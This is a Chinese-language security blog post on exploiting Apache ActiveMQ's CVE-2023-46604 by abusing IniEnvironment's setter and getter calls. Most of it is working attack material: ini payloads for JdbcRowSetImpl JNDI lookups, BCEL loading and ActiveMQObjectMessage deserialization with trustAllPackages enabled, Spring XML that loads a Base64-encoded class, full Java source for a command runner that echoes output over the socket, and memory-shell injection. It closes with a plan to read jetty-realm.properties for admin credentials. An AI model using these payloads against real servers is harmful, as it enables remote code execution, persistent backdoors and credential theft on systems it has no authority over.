ActiveMQ依赖存在的getter

ActiveMQ依赖存在的getter

IniEnvironment分析

image-20240927042652383

iniConfig参数是shiro.ini配置文件的内容

https://shiro.apache.org/configuration.html

image-20240927042926374

[main]
user=com.just.User       //别名=全类名
info=com.just.Info
user.info=$info             //引用也会调用setter
user.info.username=anchor   //会调用setter
user.info.password=123456   //会调用setter

类似于这种会调用getter

user.object.a=1

这样调用的是getObject

具体为什么会调用setter/getter就自己调试吧

会调用getter/setter就好办了

JdbcRowSetImpl

[main]
jdbc = com.sun.rowset.jdbcRowsetImpl
jdbc.dataSourceName ="ldap://localhost:1389/Exploit"
jdbc.autoCommit = true      //调用setter

dbcp打BCEL

[main]
bds = org.apache.commons.dbcp2.BasicDataSource
bds.driverClassLoader = com.sun.org.apache.bcel.internal.util.ClassLoader
bds.driverClassName = "$$BCEL$$....."
bds.connection.a = a         //调用getConnection

类似getter/setter都可以

ActiveMQObjectMessage#getObject()存在反序列化漏洞

利用上面IniEnvironment调用getter

image-20240927051901541

image-20240927052815945

image-20240927051923752

字节类型的属性可以通过 base64 来赋值或者十六编码来赋值

然后需要注意的就是修改 trustAllPackages ,不然会由于 activemq 默认存在反序列化黑名单,导致反序列化失败

由于自带shiro依赖,所以可以打cb链

[main]
bs = org.apache.activemq.util.ByteSequence
message = org.apache.activemq.command.ActiveMQObjectMessage
bs.data = rO0ABXNyABdqYXZh.....
bs.length = 1376               //一定要有length
bs.offset = 0
message.content = $bs
message.trustAllPackages = true
message.object.x = x          //调用getter

有回显exp

Hutt0n0/ActiveMqRCE: 用java实现构造openwire协议,利用activeMQ < 5.18.3 RCE 回显利用 内存马注入 (github.com)

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:spring="http://camel.apache.org/schema/spring"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://camel.apache.org/schema/spring http://camel.apache.org/schema/spring/camel-spring.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
    <context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>

    <bean id="base64Str" class="java.lang.String">
        <constructor-arg>
            <value>yv66vgAAADQAtgoAKgBhCABi...........</value>
        </constructor-arg>
    </bean>

    <bean id="cmd" class="java.lang.String">
        <constructor-arg value="ls"></constructor-arg>
    </bean>
    <bean  class="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('CMDResponse',T(org.springframework.util.Base64Utils).decodeFromString(base64Str.toString()),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance().test(cmd.toString())}">
    </bean>
</beans>
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.lang.reflect.Field;

public class CMDResponse {


    public void test(String cmd) throws IOException {
        String result = "";
        String process = "";
        String arg = "";
        if (System.getProperty("os.name").toLowerCase().indexOf("windows") >= 0) {
            process = "cmd.exe";
            arg = "/c";
        }else{
            process = "/bin/sh";
            arg = "-c";
        }
        try {
            ProcessBuilder processBuilder = new ProcessBuilder(new String[]{process,arg,cmd});
            Process start = processBuilder.start();
            InputStream inputStream = start.getInputStream();
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            int read = 0;
            while ((read = inputStream.read()) != -1){
                byteArrayOutputStream.write(read);
            }
            result = new String(byteArrayOutputStream.toByteArray());
        }catch (Exception e){
            result = e.getMessage();
        }


		//利用socket回显
        try {
            Thread thread = Thread.currentThread();
            Class<?> aClass = Class.forName("java.lang.Thread");
            Field target = aClass.getDeclaredField("target");
            target.setAccessible(true);
            org.apache.activemq.transport.tcp.TcpTransport transport = (org.apache.activemq.transport.tcp.TcpTransport)target.get(thread);
            Class<?> aClass1 = Class.forName("org.apache.activemq.transport.tcp.TcpTransport");
            Field socketfield = aClass1.getDeclaredField("socket");
            socketfield.setAccessible(true);
            java.net.Socket socket =(java.net.Socket) socketfield.get(transport);
            OutputStream outputStream = socket.getOutputStream();
            outputStream.write("\n".getBytes());
            outputStream.write(result.getBytes());
            outputStream.close();
        }catch (Exception e){

        }
    }
}

能访问/admin才可以的内存马注入

出网加载xml,内容为内存马而不是反弹shell

activemq中间件是jetty,然后遍历线程

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:spring="http://camel.apache.org/schema/spring"
       xmlns:context="http://www.springframework.org/schema/context"
       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://camel.apache.org/schema/spring http://camel.apache.org/schema/spring/camel-spring.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context.xsd">
    <context:property-placeholder ignore-resource-not-found="false" ignore-unresolvable="false"/>

    <bean id="ClassBase64Str" class="java.lang.String">
        <constructor-arg value="yv66vgAAADQBuQoAVADvBwDwCwDxAPIIAPMKAPQ..........">

        </constructor-arg>
    </bean>

    <bean  class="#{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemshellInject1',T(org.springframework.util.Base64Utils).decodeFromString(ClassBase64Str.toString()),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance().test1()}">
    </bean>
</beans>

MemshellInject1看上面的github

利用IniEnvironment打回显马

Arlenhiack/ActiveMQ-RCE-Exploit: ActiveMQ RCE (CVE-2023-46604) 回显利用工具 (github.com)

image-20240927172005930

image-20240927172129435

就是把ClassPathXmlApplicationContext替换为IniEnvironment

然后内容为

[main]
bs = org.apache.activemq.util.ByteSequence
message = org.apache.activemq.command.ActiveMQObjectMessage
bs.data = rO0ABXNyABdqYXZh.....
bs.length = 1376
bs.offset = 0
message.content = $bs
message.trustAllPackages = true
message.object.x = x

cb链打的回显马需要使用到socket

image-20240927174306349

image-20240927174321474

嗯嗯,就这样

攻击思路

先通过有回显exp读取conf/jetty-realm.properties文件,找到admin的账户密码

能够登陆后就可以打入内存马

reference

ActiveMQ CVE-2023-46604 不出网RCE | Bmth’s blog (bmth666.cn)

Arlenhiack/ActiveMQ-RCE-Exploit: ActiveMQ RCE (CVE-2023-46604) 回显利用工具 (github.com)

finally

有点绕,好乱

如果可以通过socket进行回显,那么为什么还要把他弄为xml文件,既然都是xml那就是要出网的

还有内存马如果不出网的话咋加载xml呢

?不太理解


ActiveMQ依赖存在的getter
https://zer0peach.github.io/2024/09/27/ActiveMQ依赖存在的getter/
作者
Zer0peach
发布于
2024年9月27日
许可协议